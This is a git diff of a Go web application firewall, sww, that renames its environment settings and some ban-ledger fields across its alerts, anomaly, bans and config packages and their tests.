github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
|
||||
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
|
||||
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||
github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
|
||||
github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
|
||||
github.com/magefile/mage v1.17.0 h1:dS4tkq997Ism03akafC8509iqDjeE7TNTexI25Y7sXM=
|
||||
@@ -70,24 +62,8 @@ github.com/prometheus/common v0.70.1 h1:1HvjP4D5oL3t8RsPlwxA9onvvStjtIHYE5XuuwOi
|
||||
github.com/prometheus/common v0.70.1/go.mod h1:VdFUQDMZK3VLkurFUVhia6uys/0suUp86TJz5qbJRhc=
|
||||
github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+OJI=
|
||||
github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY=
|
||||
github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8=
|
||||
github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs=
|
||||
github.com/sagikazarmark/locafero v0.11.0 h1:1iurJgmM9G3PA/I+wWYIOw/5SyBtxapeHDcg+AAIFXc=
|
||||
github.com/sagikazarmark/locafero v0.11.0/go.mod h1:nVIGvgyzw595SUSUE6tvCp3YYTeHs15MvlmU87WwIik=
|
||||
github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8 h1:+jumHNA0Wrelhe64i8F6HNlS8pkoyMv5sreGx2Ry5Rw=
|
||||
github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8/go.mod h1:3n1Cwaq1E1/1lhQhtRK2ts/ZwZEhjcQeJQ1RuC6Q/8U=
|
||||
github.com/spf13/afero v1.15.0 h1:b/YBCLWAJdFWJTN9cLhiXXcD7mzKn9Dm86dNnfyQw1I=
|
||||
github.com/spf13/afero v1.15.0/go.mod h1:NC2ByUVxtQs4b3sIUphxK0NioZnmxgyCrfzeuq8lxMg=
|
||||
github.com/spf13/cast v1.10.0 h1:h2x0u2shc1QuLHfxi+cTJvs30+ZAHOGRic8uyGTDWxY=
|
||||
github.com/spf13/cast v1.10.0/go.mod h1:jNfB8QC9IA6ZuY2ZjDp0KtFO2LZZlg4S/7bzP6qqeHo=
|
||||
github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk=
|
||||
github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
|
||||
github.com/spf13/viper v1.21.0 h1:x5S+0EU27Lbphp4UKm1C+1oQO+rKx36vfCoaVebLFSU=
|
||||
github.com/spf13/viper v1.21.0/go.mod h1:P0lhsswPGWD/1lZJ9ny3fYnVqxiegrlNrEmgLjbTCAY=
|
||||
github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE=
|
||||
github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg=
|
||||
github.com/subosito/gotenv v1.6.0 h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8=
|
||||
github.com/subosito/gotenv v1.6.0/go.mod h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU=
|
||||
github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=
|
||||
github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
|
||||
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
|
||||
|
||||
+30
-30
@@ -1,12 +1,12 @@
|
||||
// Package alerts sends alerts on bans, on traffic over an anomaly
|
||||
// threshold, on a source that fails and on a file with an error to each
|
||||
// destination set: to the webhook
|
||||
// SWW_WAF_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON
|
||||
// SWW_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON
|
||||
// object" in docs/alerts.md describes, to the Slack incoming
|
||||
// webhook SWW_WAF_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the
|
||||
// ntfy topic SWW_WAF_ALERT_NTFY_URL names. A repeat within
|
||||
// SWW_WAF_ALERT_COOLDOWN is held back, and so is an alert past
|
||||
// SWW_WAF_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a
|
||||
// webhook SWW_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the
|
||||
// ntfy topic SWW_ALERT_NTFY_URL names. A repeat within
|
||||
// SWW_ALERT_COOLDOWN is held back, and so is an alert past
|
||||
// SWW_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a
|
||||
// bounded queue of each destination's own, so that a destination that is
|
||||
// slow or unreachable holds up neither the others nor any request. The
|
||||
// state is written to alerts.json and read from it by the state package.
|
||||
@@ -34,7 +34,7 @@ import (
|
||||
"time"
|
||||
)
|
||||
|
||||
// The events an alert is for, as SWW_WAF_ALERT_EVENTS names them.
|
||||
// The events an alert is for, as SWW_ALERT_EVENTS names them.
|
||||
const (
|
||||
// EventBan is a ban sww made.
|
||||
EventBan = "ban"
|
||||
@@ -45,7 +45,7 @@ const (
|
||||
// threshold.
|
||||
EventAnomaly = "anomaly"
|
||||
// EventCoreRuleSetMatch is a request the Core Rule Set scored at or over
|
||||
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD, refused in block mode, let through in
|
||||
// SWW_WAF_ANOMALY_THRESHOLD, refused in block mode, let through in
|
||||
// detect mode.
|
||||
EventCoreRuleSetMatch = "core_rule_set_match"
|
||||
// EventReputationHit is a request whose client a blocklist, the
|
||||
@@ -63,14 +63,14 @@ const (
|
||||
// - a replacement of the lookup database that cannot be read.
|
||||
EventFileError = "file_error"
|
||||
// EventSummary is the summary sent as an hour ends: of the alerts held
|
||||
// back in it past SWW_WAF_ALERT_MAX_PER_HOUR, and of the repeats held
|
||||
// back in it past SWW_ALERT_MAX_PER_HOUR, and of the repeats held
|
||||
// back by the cooldowns dropped as it ends, which no alert let through
|
||||
// has given. It is sent with SWW_WAF_ALERT_MAX_PER_HOUR off too, for
|
||||
// those repeats. SWW_WAF_ALERT_EVENTS does not name it.
|
||||
// has given. It is sent with SWW_ALERT_MAX_PER_HOUR off too, for
|
||||
// those repeats. SWW_ALERT_EVENTS does not name it.
|
||||
EventSummary = "summary"
|
||||
)
|
||||
|
||||
// Events returns every event SWW_WAF_ALERT_EVENTS can name, which is its
|
||||
// Events returns every event SWW_ALERT_EVENTS can name, which is its
|
||||
// default.
|
||||
func Events() []string {
|
||||
return []string{
|
||||
@@ -82,12 +82,12 @@ func Events() []string {
|
||||
// The destinations alerts are sent to, as the metrics and alerts.json
|
||||
// name them.
|
||||
const (
|
||||
// DestinationWebhook is the webhook SWW_WAF_ALERT_WEBHOOK_URL names.
|
||||
// DestinationWebhook is the webhook SWW_ALERT_WEBHOOK_URL names.
|
||||
DestinationWebhook = "webhook"
|
||||
// DestinationSlack is the Slack incoming webhook
|
||||
// SWW_WAF_ALERT_SLACK_WEBHOOK_URL names.
|
||||
// SWW_ALERT_SLACK_WEBHOOK_URL names.
|
||||
DestinationSlack = "slack"
|
||||
// DestinationNtfy is the ntfy topic SWW_WAF_ALERT_NTFY_URL names.
|
||||
// DestinationNtfy is the ntfy topic SWW_ALERT_NTFY_URL names.
|
||||
DestinationNtfy = "ntfy"
|
||||
)
|
||||
|
||||
@@ -123,26 +123,26 @@ var (
|
||||
// NtfyURL set, no alert is sent.
|
||||
type Params struct {
|
||||
// WebhookURL is where each alert is posted as JSON
|
||||
// (SWW_WAF_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders
|
||||
// are sent with each (SWW_WAF_ALERT_WEBHOOK_HEADERS).
|
||||
// (SWW_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders
|
||||
// are sent with each (SWW_ALERT_WEBHOOK_HEADERS).
|
||||
WebhookURL *url.URL
|
||||
WebhookHeaders http.Header
|
||||
// SlackURL is the Slack incoming webhook each alert is posted to as a
|
||||
// message (SWW_WAF_ALERT_SLACK_WEBHOOK_URL), nil while it is unset.
|
||||
// message (SWW_ALERT_SLACK_WEBHOOK_URL), nil while it is unset.
|
||||
SlackURL *url.URL
|
||||
// NtfyURL is the ntfy topic each alert is published to
|
||||
// (SWW_WAF_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless
|
||||
// empty, is sent with each as a bearer token (SWW_WAF_ALERT_NTFY_TOKEN).
|
||||
// (SWW_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless
|
||||
// empty, is sent with each as a bearer token (SWW_ALERT_NTFY_TOKEN).
|
||||
NtfyURL *url.URL
|
||||
NtfyToken string
|
||||
// Events are the events alerts are sent for (SWW_WAF_ALERT_EVENTS).
|
||||
// Events are the events alerts are sent for (SWW_ALERT_EVENTS).
|
||||
Events []string
|
||||
// Cooldown is how long a repeat of an alert is held back
|
||||
// (SWW_WAF_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts
|
||||
// sent in an hour (SWW_WAF_ALERT_MAX_PER_HOUR), 0 for no limit.
|
||||
// (SWW_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts
|
||||
// sent in an hour (SWW_ALERT_MAX_PER_HOUR), 0 for no limit.
|
||||
Cooldown time.Duration
|
||||
MaxPerHour int
|
||||
// Instance is SWW_WAF_INSTANCE_NAME, which every alert gives.
|
||||
// Instance is SWW_INSTANCE_NAME, which every alert gives.
|
||||
Instance string
|
||||
// Now tells the time of an alert, normally time.Now in UTC.
|
||||
Now func() time.Time
|
||||
@@ -311,17 +311,17 @@ func New(params Params) *Queue {
|
||||
}
|
||||
|
||||
if params.WebhookURL != nil {
|
||||
q.addDestination(DestinationWebhook, "SWW_WAF_ALERT_WEBHOOK_URL",
|
||||
q.addDestination(DestinationWebhook, "SWW_ALERT_WEBHOOK_URL",
|
||||
params.WebhookURL, q.webhookMessage)
|
||||
}
|
||||
|
||||
if params.SlackURL != nil {
|
||||
q.addDestination(DestinationSlack, "SWW_WAF_ALERT_SLACK_WEBHOOK_URL",
|
||||
q.addDestination(DestinationSlack, "SWW_ALERT_SLACK_WEBHOOK_URL",
|
||||
params.SlackURL, slackMessage)
|
||||
}
|
||||
|
||||
if params.NtfyURL != nil {
|
||||
q.addDestination(DestinationNtfy, "SWW_WAF_ALERT_NTFY_URL",
|
||||
q.addDestination(DestinationNtfy, "SWW_ALERT_NTFY_URL",
|
||||
params.NtfyURL, q.ntfyMessage)
|
||||
}
|
||||
|
||||
@@ -329,7 +329,7 @@ func New(params Params) *Queue {
|
||||
}
|
||||
|
||||
// Raise sends alert, which names its event and what is particular to it,
|
||||
// unless no destination is set or SWW_WAF_ALERT_EVENTS leaves its event
|
||||
// unless no destination is set or SWW_ALERT_EVENTS leaves its event
|
||||
// out. It gives alert the instance and the time. An alert that repeats
|
||||
// the last one let through less than Cooldown before is held back and
|
||||
// counted. The next one let through gives that count, unless an hour of
|
||||
@@ -374,7 +374,7 @@ func (q *Queue) Raise(alert Alert) {
|
||||
}
|
||||
|
||||
// WouldSend reports whether Raise would let an alert for event on
|
||||
// netblock through now: a destination is set, SWW_WAF_ALERT_EVENTS chooses
|
||||
// netblock through now: a destination is set, SWW_ALERT_EVENTS chooses
|
||||
// event, no alert for event on netblock was let through less than
|
||||
// Cooldown before, and fewer than MaxPerHour alerts have been let through
|
||||
// in the hour under way. Unlike Raise, it counts nothing.
|
||||
@@ -627,14 +627,14 @@ func (q *Queue) endHour(now time.Time) {
|
||||
reasons = append(
|
||||
reasons,
|
||||
fmt.Sprintf("%d alerts held back in the hour from %s, "+
|
||||
"past the %d an hour SWW_WAF_ALERT_MAX_PER_HOUR allows", heldBack,
|
||||
"past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack,
|
||||
q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour),
|
||||
)
|
||||
}
|
||||
|
||||
if repeats > 0 {
|
||||
reasons = append(reasons, fmt.Sprintf("%d repeats held back by "+
|
||||
"SWW_WAF_ALERT_COOLDOWN that no later alert gives", repeats))
|
||||
"SWW_ALERT_COOLDOWN that no later alert gives", repeats))
|
||||
}
|
||||
|
||||
if len(reasons) > 0 {
|
||||
|
||||
@@ -165,7 +165,7 @@ func TestWouldSendOnlyForTheChosenEvents(t *testing.T) {
|
||||
if q.WouldSend(alerts.EventBan, netblock(1)) ||
|
||||
q.WouldSend(alerts.EventPermanentBan, netblock(1)) {
|
||||
t.Error(
|
||||
"a ban alert would be sent, though SWW_WAF_ALERT_EVENTS leaves it out",
|
||||
"a ban alert would be sent, though SWW_ALERT_EVENTS leaves it out",
|
||||
)
|
||||
}
|
||||
|
||||
@@ -218,8 +218,8 @@ func TestWouldSendWithOnlySlackOrOnlyNtfySet(t *testing.T) {
|
||||
onlyNtfy.NtfyURL = parseURL(ntfyURL)
|
||||
|
||||
for setting, params := range map[string]alerts.Params{
|
||||
"SWW_WAF_ALERT_SLACK_WEBHOOK_URL": onlySlack,
|
||||
"SWW_WAF_ALERT_NTFY_URL": onlyNtfy,
|
||||
"SWW_ALERT_SLACK_WEBHOOK_URL": onlySlack,
|
||||
"SWW_ALERT_NTFY_URL": onlyNtfy,
|
||||
} {
|
||||
if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) {
|
||||
t.Errorf(
|
||||
@@ -431,7 +431,7 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
|
||||
"as_name": "",
|
||||
"country": "",
|
||||
"reason": "3 alerts held back in the hour from 2000-01-01T00:00:00Z, " +
|
||||
"past the 2 an hour SWW_WAF_ALERT_MAX_PER_HOUR allows",
|
||||
"past the 2 an hour SWW_ALERT_MAX_PER_HOUR allows",
|
||||
"detail": map[string]any{
|
||||
"hour": started,
|
||||
"count": float64(3),
|
||||
@@ -631,7 +631,7 @@ func TestFailedRequestIsSentAgainWithBackoff(t *testing.T) {
|
||||
wantCounts(t, q, 0, int64(len(want)), 0, 0)
|
||||
|
||||
if !strings.Contains(log.String(),
|
||||
`"msg":"sending an alert to SWW_WAF_ALERT_WEBHOOK_URL failed"`) {
|
||||
`"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) {
|
||||
t.Errorf("process log %q names no failure", log.String())
|
||||
}
|
||||
|
||||
@@ -701,7 +701,7 @@ func TestRefusedAlertIsGivenUpAndTheNextSent(t *testing.T) {
|
||||
wantCounts(t, q, 1, 3, 0, 1)
|
||||
|
||||
if !strings.Contains(log.String(),
|
||||
`"msg":"gave up an alert SWW_WAF_ALERT_WEBHOOK_URL refused"`) {
|
||||
`"msg":"gave up an alert SWW_ALERT_WEBHOOK_URL refused"`) {
|
||||
t.Errorf("process log %q names no alert given up", log.String())
|
||||
}
|
||||
})
|
||||
@@ -724,10 +724,8 @@ func TestFailedRequestIsLoggedWithoutTheURL(t *testing.T) {
|
||||
synctest.Wait()
|
||||
|
||||
logged := log.String()
|
||||
if !strings.Contains(
|
||||
logged,
|
||||
`"msg":"sending an alert to SWW_WAF_ALERT_WEBHOOK_URL failed"`,
|
||||
) ||
|
||||
if !strings.Contains(logged,
|
||||
`"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) ||
|
||||
strings.Contains(
|
||||
logged,
|
||||
"alerts.example",
|
||||
@@ -939,8 +937,8 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
|
||||
}
|
||||
|
||||
const summary = "1 alerts held back in the hour from 2000-01-01T00:00:00Z, " +
|
||||
"past the 1 an hour SWW_WAF_ALERT_MAX_PER_HOUR allows; 1 repeats held back " +
|
||||
"by SWW_WAF_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
|
||||
"past the 1 an hour SWW_ALERT_MAX_PER_HOUR allows; 1 repeats held back " +
|
||||
"by SWW_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
|
||||
|
||||
wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary)
|
||||
wantNtfyMessage(
|
||||
@@ -1090,7 +1088,7 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
|
||||
logged := log.String()
|
||||
if !strings.Contains(
|
||||
logged,
|
||||
`"msg":"sending an alert to SWW_WAF_ALERT_SLACK_WEBHOOK_URL failed"`,
|
||||
`"msg":"sending an alert to SWW_ALERT_SLACK_WEBHOOK_URL failed"`,
|
||||
) ||
|
||||
strings.Contains(logged, "hooks.slack.example") ||
|
||||
strings.Contains(logged, "T0123") {
|
||||
@@ -1464,7 +1462,7 @@ type eventMessage struct {
|
||||
title, priorityAndTag, text string
|
||||
}
|
||||
|
||||
// anAlertForEachEvent returns an alert for each event SWW_WAF_ALERT_EVENTS
|
||||
// anAlertForEachEvent returns an alert for each event SWW_ALERT_EVENTS
|
||||
// names, the first in observe mode, each with its message.
|
||||
func anAlertForEachEvent() []eventMessage {
|
||||
return []eventMessage{
|
||||
|
||||
+14
-14
@@ -28,16 +28,16 @@ const maxCounters = 20000
|
||||
// alerts name them.
|
||||
const (
|
||||
// ScopeClient is one client: an IPv4 address, or an IPv6 netblock of
|
||||
// SWW_WAF_IPV6_GROUP_PREFIX.
|
||||
// SWW_IPV6_GROUP_PREFIX.
|
||||
ScopeClient = "client"
|
||||
// ScopeNet is the netblock around a client, SWW_WAF_ANOMALY_NET_V4_PREFIX
|
||||
// or SWW_WAF_ANOMALY_NET_V6_PREFIX long.
|
||||
// ScopeNet is the netblock around a client, SWW_ANOMALY_NET_V4_PREFIX
|
||||
// or SWW_ANOMALY_NET_V6_PREFIX long.
|
||||
ScopeNet = "net"
|
||||
// ScopeASN is an AS number.
|
||||
ScopeASN = "asn"
|
||||
// ScopeTotal is the whole service.
|
||||
ScopeTotal = "total"
|
||||
// ScopeWatchedNet is a named netblock of SWW_WAF_ANOMALY_WATCHED_NETS.
|
||||
// ScopeWatchedNet is a named netblock of SWW_WATCH_NETS.
|
||||
ScopeWatchedNet = "watched_net"
|
||||
)
|
||||
|
||||
@@ -68,7 +68,7 @@ type Thresholds struct {
|
||||
BytesPerHour int64
|
||||
}
|
||||
|
||||
// NamedNetblock is a netblock SWW_WAF_ANOMALY_WATCHED_NETS names.
|
||||
// NamedNetblock is a netblock SWW_WATCH_NETS names.
|
||||
type NamedNetblock struct {
|
||||
Name string
|
||||
Netblock netip.Prefix
|
||||
@@ -76,14 +76,14 @@ type NamedNetblock struct {
|
||||
|
||||
// Params are what New needs.
|
||||
type Params struct {
|
||||
// The thresholds of each scope: SWW_WAF_ANOMALY_CLIENT_*,
|
||||
// SWW_WAF_ANOMALY_NET_*, SWW_WAF_ANOMALY_ASN_*, SWW_WAF_ANOMALY_TOTAL_* and
|
||||
// SWW_WAF_ANOMALY_WATCHED_NET_*.
|
||||
Client, Net, ASN, Total, WatchedNet Thresholds
|
||||
// The thresholds of each scope: SWW_ANOMALY_CLIENT_*,
|
||||
// SWW_ANOMALY_NET_*, SWW_ANOMALY_ASN_*, SWW_ANOMALY_TOTAL_* and
|
||||
// SWW_WATCH_*.
|
||||
Client, Net, ASN, Total, Watch Thresholds
|
||||
// NetV4Prefix and NetV6Prefix are the lengths of the netblock around a
|
||||
// client (SWW_WAF_ANOMALY_NET_V4_PREFIX and SWW_WAF_ANOMALY_NET_V6_PREFIX).
|
||||
// client (SWW_ANOMALY_NET_V4_PREFIX and SWW_ANOMALY_NET_V6_PREFIX).
|
||||
NetV4Prefix, NetV6Prefix int
|
||||
// NamedNetblocks are SWW_WAF_ANOMALY_WATCHED_NETS.
|
||||
// NamedNetblocks are SWW_WATCH_NETS.
|
||||
NamedNetblocks []NamedNetblock
|
||||
// Alerts receive the anomaly alerts.
|
||||
Alerts *alerts.Queue
|
||||
@@ -113,13 +113,13 @@ type Request struct {
|
||||
Host string
|
||||
// Client is the client's address, and ClientGroup the client it is
|
||||
// counted as: its IPv4 address, or the IPv6 netblock of
|
||||
// SWW_WAF_IPV6_GROUP_PREFIX its address is in.
|
||||
// SWW_IPV6_GROUP_PREFIX its address is in.
|
||||
Client netip.Addr
|
||||
ClientGroup netip.Prefix
|
||||
// ASN, ASName and Country are the client's as looked up, each "" when
|
||||
// unknown.
|
||||
ASN, ASName, Country string
|
||||
// Bytes are the request's bytes, as SWW_WAF_BYTES_COUNTED counts them.
|
||||
// Bytes are the request's bytes, as SWW_BYTES_COUNT counts them.
|
||||
Bytes int64
|
||||
}
|
||||
|
||||
@@ -271,7 +271,7 @@ func (c *Counters) scopesOf(r Request) []scope {
|
||||
scope: ScopeWatchedNet,
|
||||
netblock: named.Netblock,
|
||||
name: named.Name,
|
||||
}, p.WatchedNet,
|
||||
}, p.Watch,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
@@ -26,7 +26,7 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
|
||||
overAtTheSecond := anomaly.Thresholds{RequestsPerMinute: 1}
|
||||
counters := anomaly.New(anomaly.Params{
|
||||
Client: overAtTheSecond, Net: overAtTheSecond, ASN: overAtTheSecond,
|
||||
Total: overAtTheSecond, WatchedNet: overAtTheSecond,
|
||||
Total: overAtTheSecond, Watch: overAtTheSecond,
|
||||
// The netblock around a client is the client's own, and two names
|
||||
// name one netblock.
|
||||
NetV4Prefix: 32,
|
||||
|
||||
+12
-12
@@ -1,6 +1,6 @@
|
||||
// Package bans is the ban ledger: the bans sww makes on the
|
||||
// netblocks of clients that break a rate limit, a byte limit or the refusal
|
||||
// limit, show a clear sign of attack or are listed by the CrowdSec
|
||||
// netblocks of clients that break a rate limit, a byte limit or the error
|
||||
// burst, show a clear sign of attack or are listed by the CrowdSec
|
||||
// decision list, and
|
||||
// those an admin makes, with their notes, as the "Bans" section of SPEC.md
|
||||
// describes. The bans are kept in memory, and written to bans.json and
|
||||
@@ -49,9 +49,9 @@ type Params struct {
|
||||
// CrowdSec's decision, a broken limit counts as a repeat, which bans for
|
||||
// repeatFactor times as long as that ban.
|
||||
LimitBanRepeatWindow time.Duration
|
||||
// A ban for a broken limit that would be longer than
|
||||
// LimitBanPermanentAbove is permanent instead.
|
||||
LimitBanPermanentAbove time.Duration
|
||||
// MaxBanDuration is the longest ban for a broken limit; one that would
|
||||
// be longer is permanent instead.
|
||||
MaxBanDuration time.Duration
|
||||
// AttackBanDuration is how long a first ban for a clear sign of attack
|
||||
// lasts.
|
||||
AttackBanDuration time.Duration
|
||||
@@ -105,7 +105,7 @@ type Notes struct {
|
||||
Country string `json:"country"`
|
||||
// Kind, Limit, Window and Count are, for a ban for a broken limit,
|
||||
// what the limit was on, "requests" for a rate limit, "bytes" for a
|
||||
// byte limit or "refusals" for the refusal limit, the limit that was
|
||||
// byte limit or "refusals" for the error burst, the limit that was
|
||||
// broken, its window, "minute", "hour" or "day", and the count reached:
|
||||
// the client's requests, bytes or refusals in the window, those of the
|
||||
// request that broke the limit included.
|
||||
@@ -123,7 +123,7 @@ type Notes struct {
|
||||
LimitPercentSetting string `json:"limit_percent_setting,omitempty"`
|
||||
// RuleID and Target are, for a ban for a clear sign of attack, the id
|
||||
// of the rule file rule that matched, and its target; TrapPath is, for
|
||||
// one for a request for a path in SWW_WAF_TRAP_PATHS, that path as the
|
||||
// one for a request for a path in SWW_TRAP_PATHS, that path as the
|
||||
// client sent it.
|
||||
RuleID string `json:"rule_id,omitempty"`
|
||||
Target string `json:"target,omitempty"`
|
||||
@@ -199,7 +199,7 @@ type Ledger struct {
|
||||
// v4Lengths and v6Lengths are the lengths of the IPv4 and IPv6
|
||||
// netblocks that have been banned. Check looks for a ban at each of
|
||||
// them, so that a ban read from bans.json refuses every client in its
|
||||
// netblock even when it was made with another SWW_WAF_BAN_SCOPE_V4_PREFIX,
|
||||
// netblock even when it was made with another SWW_BAN_SCOPE_V4_PREFIX,
|
||||
// or another length of an IPv6 client's netblock.
|
||||
v4Lengths, v6Lengths []int
|
||||
}
|
||||
@@ -306,7 +306,7 @@ func activeBan(bans []Ban, now time.Time) *Ban {
|
||||
// last, other than one for a clear sign of attack or for CrowdSec's
|
||||
// decision, or a lifted one, lasts
|
||||
// repeatFactor times as long as that one. A ban that would be longer
|
||||
// than LimitBanPermanentAbove is permanent instead. If a ban on netblock is still
|
||||
// than MaxBanDuration is permanent instead. If a ban on netblock is still
|
||||
// active, as when two of its requests break a limit at once, that ban is
|
||||
// returned with false, and no other is made. The ledger fills in the
|
||||
// notes' Refused and EarlierBans itself, and gives the ban the reason
|
||||
@@ -932,16 +932,16 @@ func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
|
||||
if last != nil &&
|
||||
now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
|
||||
lastLength := last.Expires.Sub(last.Start)
|
||||
// This is repeatFactor * lastLength > LimitBanPermanentAbove, written so
|
||||
// This is repeatFactor * lastLength > MaxBanDuration, written so
|
||||
// that it cannot overflow.
|
||||
if lastLength > l.params.LimitBanPermanentAbove/repeatFactor {
|
||||
if lastLength > l.params.MaxBanDuration/repeatFactor {
|
||||
return time.Time{}
|
||||
}
|
||||
|
||||
length = repeatFactor * lastLength
|
||||
}
|
||||
|
||||
if length > l.params.LimitBanPermanentAbove {
|
||||
if length > l.params.MaxBanDuration {
|
||||
return time.Time{}
|
||||
}
|
||||
|
||||
|
||||
@@ -97,11 +97,11 @@ func TestRepeatWindowRunsOut(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestFirstBanLongerThanLimitBanPermanentAboveIsPermanent(t *testing.T) {
|
||||
func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
params := defaultParams()
|
||||
params.LimitBanDuration = params.LimitBanPermanentAbove + time.Hour
|
||||
params.LimitBanDuration = params.MaxBanDuration + time.Hour
|
||||
ledger := bans.New(params)
|
||||
|
||||
ban, _ := ledger.BanForLimit(
|
||||
@@ -114,14 +114,14 @@ func TestFirstBanLongerThanLimitBanPermanentAboveIsPermanent(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestLimitBanPermanentAboveSetFarOffDoesNotOverflow(t *testing.T) {
|
||||
func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// With LimitBanPermanentAbove at 100,000 days, the 14th ban in a row, of
|
||||
// 3^13 hours, is not above it, and three times as long would not fit in
|
||||
// a time.Duration. The 15th is permanent.
|
||||
// With bans of up to 100,000 days, the 14th ban in a row, of 3^13
|
||||
// hours, is within the maximum, and three times as long would not fit
|
||||
// in a time.Duration. The 15th is permanent.
|
||||
params := defaultParams()
|
||||
params.LimitBanPermanentAbove = 100000 * day
|
||||
params.MaxBanDuration = 100000 * day
|
||||
ledger := bans.New(params)
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
now := midnight()
|
||||
@@ -652,7 +652,7 @@ func defaultParams() bans.Params {
|
||||
return bans.Params{
|
||||
LimitBanDuration: time.Hour,
|
||||
LimitBanRepeatWindow: day,
|
||||
LimitBanPermanentAbove: 7 * day,
|
||||
MaxBanDuration: 7 * day,
|
||||
AttackBanDuration: 7 * day,
|
||||
MaxBans: 5000,
|
||||
}
|
||||
|
||||
+14
-55
@@ -1,9 +1,10 @@
|
||||
// Package config reads sww's settings, and is the one place they are
|
||||
// read. Every setting is an environment variable. The settings of `sww
|
||||
// waf` start with SWW_WAF_, every one of them has a default, and most can be
|
||||
// given as a file instead. Those of `sww rproxy` start with SWW_RPROXY_. Each
|
||||
// of them but SWW_RPROXY_WAF_BACKEND has a default, and each can be given as a file
|
||||
// too. SWW_COMMAND chooses which of the two the image runs.
|
||||
// waf` start with SWW_, every one of them has a default, and most can be
|
||||
// given as a file instead. Those of `sww rproxy` start with SWRP_. Each
|
||||
// of them but SWRP_WAF_BACKEND has a default, and none can be given as a file,
|
||||
// since rproxy never touches disk. SWW_COMMAND chooses which of the two
|
||||
// the image runs.
|
||||
package config
|
||||
|
||||
import (
|
||||
@@ -16,9 +17,6 @@ import (
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/viper"
|
||||
)
|
||||
|
||||
// off is the value that switches a timeout, a size limit or a rate limit
|
||||
@@ -29,8 +27,8 @@ const (
|
||||
kibibyte = 1 << 10
|
||||
mebibyte = 1 << 20
|
||||
gibibyte = 1 << 30
|
||||
// defaultListenAddr is the default of SWW_WAF_LISTEN_ADDR and
|
||||
// SWW_RPROXY_LISTEN_ADDR.
|
||||
// defaultListenAddr is the default of SWW_LISTEN_ADDR and
|
||||
// SWRP_LISTEN_ADDR.
|
||||
defaultListenAddr = ":8080"
|
||||
)
|
||||
